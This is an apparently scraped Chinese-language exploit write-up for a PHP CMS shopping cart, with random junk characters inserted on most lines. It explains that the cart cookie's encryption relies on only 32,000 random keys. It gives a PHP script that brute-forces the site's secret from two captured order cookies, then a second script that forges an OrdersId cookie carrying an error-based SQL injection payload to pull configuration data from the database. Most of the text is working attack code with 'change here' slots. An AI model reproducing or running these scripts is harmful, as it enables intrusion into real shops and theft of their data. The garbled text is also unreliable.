www.xxx.com/plus/search.php?keyword=
- b9 ]9 F6 n0 ]0 A5 q& ]6 O在 include/shopcar.class.php中0 l8 i! H. w k0 b0 }" A* @4 N
先看一下这个shopcar类是如何生成cookie的& a! J0 D+ |0 Y# N3 ]
239 function saveCookie($key,$value)- O7 R K1 J; _" q6 ^
240 {& B, c4 N- q+ t. Y# l) U
241 if(is_array($value))
/ p7 j/ U* J+ N# L0 @3 _# v242 {
3 z7 P% V7 H' e0 }+ z* n243 $value = $this->enCrypt($this->enCode($value));
2 n4 K2 E5 Q, T, L4 F244 }
, a W; {( f8 g4 I' |245 else
8 b% z+ d8 h: u1 e3 v: Q246 {7 @5 {0 i. ^- r8 R0 a
247 $value = $this->enCrypt($value);
( m3 H9 y7 n9 O8 y( f248 }
/ k, O4 [2 j, i3 a9 ?249 setcookie($key,$value,time()+36000,’/');- b7 M) L" g+ W. g" X4 c
250 }
& x z$ M: E5 h$ h8 e3 X简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
, G" _0 y# s& ^- \' ^/ \9 R186 function enCrypt($txt)
" _- |" b6 d) V* j5 e7 |187 {" _' k4 U; s4 k$ \# I/ }
188 srand((double)microtime() * 1000000);
3 N4 E( e# z# ?& j( Q( }, q' v189 $encrypt_key = md5(rand(0, 32000));+ v7 x9 R; u2 ]; P- J
190 $ctr = 0;
2 [7 l. \& y& n! I& A191 $tmp = ”;0 O8 O9 O- @! ^% n, z
192 for($i = 0; $i < strlen($txt); $i++)
; s; e i- _' Z( B* R193 {
2 l. E1 P! X" }194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
1 g' b3 c6 B8 {, e( U195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
4 B' n0 Q( y) V" {0 h; X5 }196 }
g! h5 c1 f& y# q1 k2 D: \197 return base64_encode($this->setKey($tmp));
. r3 A* x( U I6 O198 }
; R# G' p- t, o/ p( B# V213 function setKey($txt)
' Q; W( f% [ F7 X0 ^214 {
7 }3 x- x, r; m215 global $cfg_cookie_encode;3 G7 D0 n3 S: ^! J C1 O: @5 T4 z) v
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
" I( E, V* E: U3 @+ t$ B217 $ctr = 0;
' Y- o' i( ^" O& d/ F! U2 `4 `6 r3 r218 $tmp = ”;
; _+ f [+ M0 h g; O' |3 ^- I219 for($i = 0; $i < strlen($txt); $i++)/ c% N4 X3 O. P
220 {
8 C( x' y: t! S8 B8 ]$ k221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
- n# f3 T3 e; D- N& h222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];7 [ M! M1 a, O% W( I
223 }8 c$ k3 z" c9 j! |
224 return $tmp;
3 w1 s; B8 e1 {) o6 [- N s225 }+ m- n' b+ V& Z8 h, e! j4 O
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的. n# w0 H/ e v( U
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。( L3 `5 l/ X4 ?! k' y2 F5 s+ L
具体代码如下:
9 _( N9 ], v+ B% @9 P<?php& P7 E* j7 J; F
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here2 U' ?* N- j4 Q$ X3 r6 Z, q
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here3 `5 z1 A& F5 \$ B- G0 L5 |" d: ~
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
* C9 N' d$ ~" |" T. i8 P4 Vfunction reStrCode($code,$string)
; E* x* L9 g8 z6 o/ h, ~{
9 {! W) _8 H( ?( X6 `) `- I4 a$code = base64_decode($code);: ]4 u" s* `0 a: y; F( T
$key = “”;
4 c/ ]9 y8 G0 g% C# ^3 [* e- ~for($i=0 ; $i<32 ; $i++)% V7 l& M) \& e* W8 s5 e! U
{1 n( v Q( x5 L
$key .= $string[$i] ^ $code[$i];
+ q9 k; @ `. [& w7 O}# t. E, m: m: Q4 w
return $key;
- M0 k9 [0 o+ P0 F2 k}! P+ F8 z& }+ J
function getKeys($cookie,$plantxt)
1 T7 ]6 r* C3 t5 a$ A+ M% }1 m2 E; Q{8 J0 H" n0 y- M7 k3 t
$tmp = $cookie;6 q" `/ d( ?' T; \5 u4 O
$results = array();
3 p& V1 Z. y5 G! Yfor($j=0 ; $j < 32000; $j++)
1 S# R- F, t: F{
4 g5 u- _% a, a- V
/ _0 W! x! Z" K1 k) P$txt = $plantxt;
/ ^3 R* W2 N4 C( p* {$ctr = 0;
/ L- _8 c+ _2 s& X/ m. Z; L, j$tmp = ”;$ Y9 K" f! G7 w# v0 j/ `/ ^/ O5 l/ G( E, \
$encrypt_key = md5($j);7 u5 E, z' U) W3 n1 v: N+ f5 \5 k1 H1 {
for($i =0; $i < strlen($txt); $i ++)
- h0 s" e" w! ^" Z: C% m{
+ k2 C1 h1 a, y5 Y, @9 c+ d$ R$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$ b- k4 ?+ ]' ?: C% e$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);& g0 m' T8 ]3 z3 O% H# z
}& t+ t) M0 K; K
$string = $tmp;: i2 G# R7 ^0 B' |+ M' s% }2 Q7 P
$code = $cookie;
: {5 z2 Y0 ^# v$result = reStrCode($code,$string);
' L- [5 |: S- ?/ e% f/ nif(eregi(‘^[a-z0-9]+$’,$result))
/ A1 L9 `" X9 z% B# ?- r* B{
* O. b- o5 ~0 X* K& F$ s0 o+ @echo $result.”\n”;
. u' l( j8 S* _6 K$results[] = $result;
2 I8 I" W4 w( q' a/ z" P2 l}3 A" C% @5 i; w4 H* L) ]( ^( {
}( ?! G8 \, S m' A' o7 A
return $results;% d3 S. s( h5 j7 U2 l6 X7 ^
}" T% k. |* A3 M- t: W
$results1 = getKeys($cookie1,$plantxt);* H0 y! J6 B/ `/ }
$results2 = getKeys($cookie2,$plantxt);
4 z0 K0 z6 G; @: h, U' C% Z' `1 Zprint “\n——————–real key————————–\n”;7 A4 a/ N+ }# A4 S9 D. h3 z
foreach($results1 as $test1)# P" o- i% `; @' f/ U
{7 o7 M- p5 ~ ~1 s5 G5 O& Q
foreach($results2 as $test2)
1 E$ x' ?) l$ S1 W( j8 Y& V{
W5 Q! {7 I* ?2 Q- l/ }if($test1 == $test2)* ?! u: i r0 \- P! M, n
{# ]+ D4 j& s' Y- \1 U! J, N/ v
echo $test1.”\n”;# G S& |! f+ b( E( {
}2 M( p' B0 E/ U" o0 E* Y1 W# L! I
}
/ h9 h0 Z( K& O. V9 G3 w' U}( M+ u$ X E' \, p
?>
8 _9 ~: P2 r# q; D v) A3 dcookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
* b& j* b- U) N R) Vplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
4 P* w1 K) h: L4 ?1 ~. e; C$ P然后推算出md5(strtolower($cfg_cookie_encode))
% z2 M8 q+ i7 m; u得到这个key之后,我们就可以构造任意购物车的cookie! C, q2 z2 j$ D
接着看
* w- b0 E/ w# V& U20 class MemberShops" d/ J" m- a- P$ h& d3 X$ i; w7 ~0 d! @
21 {1 N' ~5 L H2 U. B8 Y7 R* y
22 var $OrdersId;* X$ ~# Z p2 K% w+ j3 S/ @
23 var $productsId;
5 K8 Z$ A/ v: t- W; s24/ e! B5 L2 R7 R) o% x5 T" N# G
25 function __construct()
2 T7 s( y. n3 Y26 {
) m" ]' _2 A/ @+ o& r2 m7 \- ?+ u7 ?" U27 $this->OrdersId = $this->getCookie(“OrdersId”);" D0 Y; L2 o) I, F0 h
28 if(empty($this->OrdersId))9 p' x8 @9 N7 w
29 {, z/ ]3 d/ G- B6 m6 |1 R
30 $this->OrdersId = $this->MakeOrders();
4 f0 ]: y' g/ M& R6 \8 w+ m3 ~31 }
4 e3 w O* S4 f! `32 }1 j* P Y9 {. T; i7 @+ _
发现OrderId是从cookie里面获取的
: }# q2 }9 o! C5 M然后
& i# @; q c3 {. G7 k1 c- d0 C* ^/plus/carbuyaction.php中的
, V! B) @/ u6 i7 S29 $cart = new MemberShops();8 a% z1 q2 g# A7 u! A
39 $OrdersId = $cart->OrdersId; //本次记录的订单号
! {* k& b' E) ^2 s. L……
" C( x5 i7 A+ j4 G: v U# y6 K173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);8 M) K. G# w3 g9 F
接着我们就可以注入了
: b) Q/ A4 z" E' Y. c& i5 S- X! ^通过利用下面代码生成cookie:$ O- B0 x, M/ A. r
<?php
7 A% W6 c! `' X U' E& W$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;+ h% ^) J, p# o
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
' t1 ^& h. @6 y6 V/ h' Nfunction setKey($txt)
0 k8 ~( c0 F& H# V, j# p{3 x: R: d/ `% a! D
global $encrypt_key; ^9 ^- H. {: U' m
$ctr = 0;3 S' R* L/ f/ `9 d) e* a0 b
$tmp = ”;
+ b% ?: ], H$ w4 W. D6 Qfor($i = 0; $i < strlen($txt); $i++)
2 U0 i2 a3 P* V% x" a{2 v* F/ v7 r! {$ \ c. k
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
, b. S+ e5 N& b X6 { O) v$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
6 J. o/ Z, C& Z* t}
* q; D. z+ z, i' Xreturn $tmp;
: \9 M. s5 E9 [}
4 h0 l# C! W, Y' ^2 j( Mfunction enCrypt($txt)% W4 C* M9 X) U& L( g* T6 n! b% t
{
5 b# ]" {- Y1 Q4 d6 O% ksrand((double)microtime() * 1000000);
; g+ K! H( n T$ H a$encrypt_key = md5(rand(0, 32000));
/ e! S o5 r) q$ctr = 0;
# F7 o5 t* O( a7 r$tmp = ”;
6 l2 i) a/ [$ Y+ i3 ifor($i = 0; $i < strlen($txt); $i++)
+ P- y( p' F' V+ o# J{7 b4 y) l" K2 `
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;, I/ ^, n; ~' ^9 a3 v- ~
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);6 M$ d# o$ k; B, m& \
}
5 l$ P( M: X: r- q- l6 D4 L5 creturn base64_encode(setKey($tmp));5 F% c$ ^4 Q0 u& [
}7 I; }3 l& B$ P& b7 g# p0 v: F
for($dest =0;$dest = enCrypt($txt);)* j( c' T* M b# X5 P+ j) f I
{
' H# M( Q9 Y5 P' Jif(!strpos($dest,’+'))
1 N4 ]9 O$ ?/ U6 x{% O [8 a/ }$ J
break; L/ w/ @% ^. A, w! K. p
}
2 t" W% A+ n6 S$ e}/ F$ n0 [% G. |1 v/ ]
echo $dest.”\n”;
& u9 z+ h0 T4 H9 V+ e3 |, E9 M?>
+ t3 U" C0 Z' D2 x0 T I
8 ?1 |& ^3 n$ n |